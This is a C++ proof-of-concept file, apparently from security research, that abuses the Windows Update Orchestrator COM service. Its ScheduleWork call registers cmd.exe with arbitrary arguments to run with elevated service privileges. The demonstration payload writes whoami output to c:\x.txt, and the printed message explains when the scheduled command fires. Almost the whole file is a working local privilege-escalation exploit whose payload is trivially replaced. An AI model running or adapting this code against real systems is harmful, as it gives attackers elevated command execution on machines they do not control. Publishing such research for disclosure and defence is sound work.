// Research and poc by Imre Rad

#include <iostream>
#include <string>
#include <strsafe.h>
#include <inttypes.h> /* For PRIu64 */

#include <comdef.h>

GUID CLSID_UniversalOrchestrator = { 0x9c695035,0x48d2,0x4229,{0x8b,0x73,0x4c,0x70,0xe7,0x56,0xe5,0x19} };

class __declspec(uuid("c53f3549-0dbf-429a-8297-c812ba00742d")) IUniversalOrchestrator : public IUnknown {
public:
	virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
	virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
	virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
};
_COM_SMARTPTR_TYPEDEF(IUniversalOrchestrator, __uuidof(IUniversalOrchestrator));


void ThrowOnError(HRESULT hr)
{
	if (hr != 0)
	{
		throw _com_error(hr);
	}
}

template <class myType>
myType InitRemoteComStuff(GUID& clsid)
{
	myType service;
	ThrowOnError(CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service)));

	DWORD authn_svc;
	DWORD authz_svc;
	LPOLESTR principal_name;
	DWORD authn_level;
	DWORD imp_level;
	RPC_AUTH_IDENTITY_HANDLE identity;
	DWORD capabilities;

	ThrowOnError(CoQueryProxyBlanket(service, &authn_svc, &authz_svc, &principal_name, &authn_level, &imp_level, &identity, &capabilities));
	ThrowOnError(CoSetProxyBlanket(service, authn_svc, authz_svc, principal_name, authn_level, RPC_C_IMP_LEVEL_IMPERSONATE, identity, capabilities));

	return service;
}

class CoInit
{
public:
	CoInit() {
		CoInitialize(nullptr);
	}

	~CoInit() {
		CoUninitialize();
	}
};


void CallUniversalOrchestrator() {
	wchar_t m_id[256];

	CoInit coinit;
	try
	{
		printf("Obtaining reference to IUniversalOrchestrator\n");
		IUniversalOrchestratorPtr service = InitRemoteComStuff<IUniversalOrchestratorPtr>(CLSID_UniversalOrchestrator);

		SYSTEMTIME time;
		GetSystemTime(&time);
		int64_t time_ms = (time.wSecond * 1000) + time.wMilliseconds;

		swprintf_s(m_id, L"%" PRId64, time_ms);

		printf("Scheduling work with id %ws\n", m_id);
		ThrowOnError(service->ScheduleWork(
			m_id, 
			const_cast<LPWSTR>(L"c:\\windows\\system32\\cmd.exe"),
			const_cast<LPWSTR>(L"/c \"whoami > c:\\x.txt & whoami /priv >>c:\\x.txt\""), // start command args
			const_cast<LPWSTR>(L"/c \"whoami > c:\\x.txt & whoami /priv >>c:\\x.txt\"")) // suspend command args
		);


		/*
		ThrowOnError(service->WorkCompleted(const_cast<LPWSTR>(L"p00000000000000000"), 0)); // <- this is how to mark a task being "blocked"
		ThrowOnError(service->WorkCompleted(const_cast<LPWSTR>(L"Universal Orchestrator Idle Start"), 1)); // <- this is how to remove a task
		*/

		printf("Succeeded. You may verify HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.\n");

	}
	catch (const _com_error& error)
	{
		printf("%ls\n", error.ErrorMessage());
		printf("%08X\n", error.Error());
	}

}

int main()
{
	CallUniversalOrchestrator();
	return 0;
}
